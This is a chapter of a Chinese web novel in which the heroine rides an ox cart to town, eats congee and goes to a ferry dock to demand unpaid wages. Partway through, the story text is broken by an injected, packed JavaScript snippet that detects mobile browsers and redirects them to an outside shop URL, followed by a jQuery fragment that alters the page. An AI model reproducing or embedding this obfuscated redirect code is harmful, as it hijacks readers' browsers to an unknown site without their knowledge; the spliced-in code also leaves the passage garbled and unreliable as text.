翌日,谢玉疏早早就醒了。
这可不是她的作息,这是原主的休息,不过这种一到时辰身体自动醒来的感觉可不好受。
她决定了,她必须要把这种不健康的早起风气改过来,睡到自然醒才是健康的、不违背天性的!
她眼睛还没睁开先去漱口洗脸,再水煮一个鸡蛋垫垫肚子。
水煮鸡蛋她吃得快吐了,她本就不爱吃水煮蛋,水煮蛋屁味很大又噎还没味。可是家里没油没盐什么都没有,她只能将就着吃着。与此同时在心里默默抱怨起了村长。
村长也真是的,送点东西来也捎带点调味品啊。
要是等她有了钱自然也不会忘记小苏村长。
谢玉疏没皮没脸地想着,囫囵着把鸡蛋吃下去。
穿好长衫,锁好了小偷都懒得踩点的房屋,大步往村口走去。
村里每天有几趟去镇上的载人拉货的牛车,一趟一文钱,去麻浦渡口必须要先到松湾镇,然后选择步行或者是继续再投入一文钱坐驴车或者牛车前往渡口。
青螺村的主路很是宽敞,土路被踩得结实发亮,有来来往往行人踩过的脚印,还有牛车压过深深的车辙印。
谢玉疏有一搭没一搭地看着周围的环境。
路两旁的房子都比她的小破屋要好,院墙多半齐整结实,爬满了碧绿的南瓜藤、黄瓜藤等作物,还围了篱笆,葱蒜一茬一茬地争先冒头;几户人家院里养了鸡鸭鹅,传来“咯咯”的叫声;浆洗好的粗布衣裳都挂在衣绳上晾晒随风飘扬,院子里摆得整齐的竹匾正晒着各类干货,确实是个丰衣足食、充满烟火气的村子。
见村民打量的目光袭来,她挺直腰背昂首抬头,身正不怕影子斜她怕什么?
走了一会才到村口,那里正好停着一辆准备出发的牛车,谢玉疏立马凑上去向车主人交了钱找了个空位置坐下。
她掏出昨天刚洗好的一块干净的麻布,展开铺在木板座位上,边上的几个人看见她的行为感到稀奇。
牛车上多的是前去镇上卖农家土产的村民,他们小心翼翼捂着篮筐里的鸡蛋和自家做的菜干等干货,还有提着鸡笼卖活鸡活鸭。
车上味比较大,活禽味和人身上的味道混杂在一起,谢玉疏不舒服地皱了皱鼻子。
然后乖乖并拢双腿,把自己努力缩起来,跟他们保持安全距离。不过车子就这么点空间,再保持跟另外一边的人距离也是十分相近的。她只能在心里默默祈求让他们别碰到自己,因为她的洁癖开始发作了。
牛“哞”了一声发动车子,慢悠悠地走着,时不时踩过坑坑洼洼的石子路面,连人带车颠簸了几下。
谢玉疏坐在最后面,她抓住板车的木板子保持身体平稳,道路平稳后开始欣赏路边两侧原始清新的风景线,突然被人喊了了一声,她扭头一看,喊她的是坐在她身边的女人。
“你是翟瑾的女儿不?”女人一脸老实憨厚的模样,穿着质朴,脚下是关着一对扑腾着鸭子的笼子。
“是。”谢玉疏朝她点头。
女人又问了她的名字。
“谢玉疏。”谢玉疏老老实实回答,一个名字而已没什么不好意思说的。
那女人不知道她说的是哪个疏、哪个玉,但是不妨碍她觉得这名字可真听,村里人就不会取这种名字。
村里人没什么文化,给孩子取名字都是随便取的,简单取两个字组合在一起就成。
要不然就是什么节气、农作物、河流山川、动植物等取几个字排列组合,哪里听过这两个字。
“你也要去镇上?”
谢玉疏微微颔首示意。
那女人得到了想要的回答便不再说话了,车上其余的其它人在他们说话的时候偷偷用余光瞥谢玉疏。
看清她的脸后都在心里不约而同地咯噔了一下。
哎哟老天奶啊,这翟家的女儿怎么这么俊俏?眉眼比男子还秀气干净,这模样这气质不像是出现在乡野间的人。
村里哪里会有这么好看的女人?简直比村里的最好看的几个小哥儿还要好看,真不知道翟瑾是怎么生出来的。
谢玉疏尽力忽视向她投来的打量目光,假装松弛欣赏沿途的风景。
牛车晃晃悠悠走了大约半个时辰停到了松湾镇镇口,众人纷纷拿着各自的东西下车离开。
谢玉疏也拿起被自己坐了一路的麻布,抖了抖灰,重新折叠收起来。
镇子早上最是热闹,从镇口到主路街道两旁都是各式各样的摊子和铺子,一个挨着一个,琳琅满目,叫人看了眼花缭乱。
沾着晨露的新鲜菜叶瓜果、水桶里活蹦乱跳的活鱼、现场编制竹筐篮筐,还有各色饼、糖糕、豆腐脑、炸油条包子等早点。
这里还有不少鱼贩挑着刚捞上来不久的各色水产吆喝招揽生意,围着许多上手挑选的居民,这镇上的人很喜欢吃鱼。
谢玉疏刚穿来的时候就对这里的地理环境有了大致的了解。
松湾镇所属江州,江州地势平坦,湖泊纵横交错,河网密集。东边靠海,西边靠山,山货和海产丰富,可谓兼得山海之利。
不仅如此,作为冲积平原的一部分,江州田地肥沃,每年粮食上交完后还能盈余不少,所以江州上到州府,下到乡野村镇,家家户户都能吃饱饭。农家人就算不是天天荤腥大鱼大肉,粗茶淡饭也是饿不着的。
所以整个州殷实富庶,是个实打实的鱼米之乡,加上气候温暖潮湿,很是适宜人居住。
谢玉疏倒是挺满意这里,不仅不是苦寒之地,而且跟她前世的家里气候地形尤为相似。
她恰好路过一家粥铺,店里熬煮的咸粥吸引住了她的视线。
坐牛车付了一文,她现在身上还揣着七文钱巨款,想着今天要是顺利的话就能把工钱要回来,这七文钱便不值一提。
讨回工钱这事她颇有自信,已经想好了怎么办。于是她走进店里点了份咸粥,还奢靡地加了个炸油饼。
咸粥一碗三文,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092658|195499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
油饼一个两文,这一下便去了谢玉疏整整五文,让她变成只剩两文钱的穷光蛋。
老板利落地把东西端来给,让她慢慢吃。
咸粥里面加了切碎的菜叶、小虾皮、一点肉沫、粥倒是挺稠,调料是加了简单的盐和香油,普普通通但是足够香,还挺实惠。
谢玉疏舀着勺子吹了吹再送入嘴里,吃了几口解馋后把油饼放粥里淹没,让油饼软化,并裹上咸粥的鲜味,这样吃起来更入味。
油饼不是村长昨天给她的那种煎烙饼,而是用油锅炸出来的金灿灿蓬松咸香的炸饼,足足有成年女人巴掌大。
她吃得快,转眼就空碗了,接着起身往麻浦渡口走去。
麻浦渡口坐落在流经松湾镇和棠安县的洛河边上,一处地势开阔,水流平缓的河段。本是一个废弃多年的渡口,镇上几家富户合作入股重新经营起来,没多久便成为了松湾镇的经济支柱。
从镇上到渡口左右不到两刻钟的时间,路近,谢玉疏脚程又快,没多久便到了。
虽说松湾镇是个不大的小镇,其渡口规模远没有县里的和府城的渡口来得大,往来商船的大小也小了许多,但是这里的山货和海产远名在外,不妨碍这里的本地外地客商云集,人流如织,其中也不乏许多散商。
渡口还是和原主印象中的一样繁忙。
码头上满载的船只卸下货物,清空的船舱又迅速装满了本地的山珍干货;途径此处的船只连忙派人下船补给薪柴和柴粮食米面等用品;卖力气的搬运工人驮着重重的麻布袋,附近还有现捞现卖的水产集市,叫卖声、号子声响成一片。
驳岸上堆放着要输运走或者刚卸下来的货物,还有一排排开门做生意的各类店铺,各色人马聚集在一起,一派热闹气象。
谢玉疏看得眼热,还不错啊这里。
不过今天正事要紧,她匆匆看了一眼就按照记忆寻找她的“办公点”。
不远,就在前方的一处砖瓦平房那里,那便是原身之前的工作地方。大门敞开,正对着码头,一抬眼就能看到泊位和货摊。院落中有几个人来回跑动,很是忙碌。
谢玉疏开门见山直接找到了管钱的账房处,也不客气直接推门而入,听到声响吓得的杨账房躺在躺椅上眯着眼斥责:
“进来也不敲门,哪个管事叫你这样做事的?没看见我在休息吗?”杨账房还以为是哪个打杂的手下没眼力见在她忙里偷闲的时候闯进来,拧着的眉头深深皱起。
她等了会也没听到那人告罪求饶的声音,不免好奇睁开眼。
这一睁眼就看到了好多天没见到的“老同事”,她坐了起来看着谢玉疏:“我当是谁呢?原来是谢管事啊,有什么事吗?”
杨账房着重了“管事”两个字,明里暗里嘲讽她,她现在已经不是管事了。
谢玉疏也听出来了她话音中的阴阳怪气,她当做没听到,主动在圈椅上坐了下来:“没什么事,我是来要工钱的,账房还欠着我三个月的工钱呢。”